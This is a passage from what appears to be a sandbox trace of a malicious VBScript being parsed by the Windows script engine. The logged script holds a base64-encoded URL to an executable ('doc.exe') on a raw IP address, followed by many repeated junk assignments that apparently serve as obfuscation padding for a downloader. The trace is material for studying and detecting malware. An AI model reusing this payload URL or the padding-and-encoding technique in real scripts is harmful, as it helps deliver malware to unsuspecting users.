\"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"243", pstrItemName=0x0, punkContext=0x0, pstrDelimiter=0x0, dwSourceContextCookie=0x0, ulStartingLineNumber=0x5, dwFlags=0x42, pvarResult=0x0, pexcepinfo=0x0 | out: pvarResult=0x0, pexcepinfo=0x0) returned 0x0 [0088.468] GetCurrentThreadId () returned 0xd44 [0088.468] realloc (_Block=0x0, _Size=0xc8) returned 0x8474be8 [0088.469] ??2@YAPAXI@Z () returned 0x86bfdc0 [0088.469] malloc (_Size=0x804) returned 0x119a768 [0088.479] free (_Block=0x8474be8) [0088.479] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0088.479] GetUserDefaultLCID () returned 0x409 [0088.479] GetACP () returned 0x4e4 [0088.479] ISystemDebugEventFire:EndSession (This=0x6bcaca0) returned 0x0 [0088.479] IUnknown:Release (This=0x6bcaca0) returned 0x1 [0088.479] VBScriptEngine5:IUnknown:Release (This=0x83fd504) returned 0x2 [0088.479] IUnknown:Release (This=0x6bcaca0) returned 0x0 [0088.479] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0088.479] VBScriptEngine5:IUnknown:Release (This=0x83fd4f8) returned 0x1 [0088.479] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0088.490] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0088.499] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0088.533] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154768 | out: ppv=0x154768*=0x846e118) returned 0x0 [0088.533] ??2@YAPAXI@Z () returned 0x846e118 [0088.533] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e118, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x0) returned 0x80004002 [0088.533] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e118, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154774 | out: ppvObject=0x154774*=0x11a99c0) returned 0x0 [0088.534] ??2@YAPAXI@Z () returned 0x11a99c0 [0088.534] GetUserDefaultLCID () returned 0x409 [0088.534] GetACP () returned 0x4e4 [0088.534] VBScriptEngine5:IUnknown:Release (This=0x846e118) returned 0x0 [0088.534] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x154798 | out: ppvObject=0x154798*=0x11a99c0) returned 0x0 [0088.534] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0088.535] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0088.535] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0088.535] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d258 | out: ppvObject=0x846d258*=0x11a99c4) returned 0x0 [0088.535] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0088.535] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4f8) returned 0x0 [0088.535] GetCurrentThreadId () returned 0xd44 [0088.535] ??2@YAPAXI@Z () returned 0x1186b60 [0088.535] ??2@YAPAXI@Z () returned 0x83fd368 [0088.535] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0088.535] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4f8) returned 0x2 [0088.535] IActiveScriptSite:GetLCID (in: This=0x83fd4f8, plcid=0x154760 | out: plcid=0x154760*=0x800) returned 0x0 [0088.535] GetSystemDefaultLCID () returned 0x409 [0088.535] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x154730, cchData=6 | out: lpLCData="1252") returned 5 [0088.535] IsValidCodePage (CodePage=0x4e4) returned 1 [0088.536] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0088.536] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd504) returned 0x0 [0088.536] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd504, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0088.536] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6bcaca0) returned 0x0 [0088.536] IUnknown:AddRef (This=0x6bcaca0) returned 0x2 [0088.536] ISystemDebugEventFire:BeginSession (This=0x6bcaca0, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12298775") returned 0x0 [0088.537] VBScriptEngine5:IActiveScriptParse32:ParseScriptText (in: This=0x11a99c4, pstrCode="\r\nfsdfdsfs = \"aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=\" '9vnw9r\r\nyulkytjtrhtjrkdsarjky =\"ZG9jLmV4ZQ==\" '9vnw9r\r\n\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = 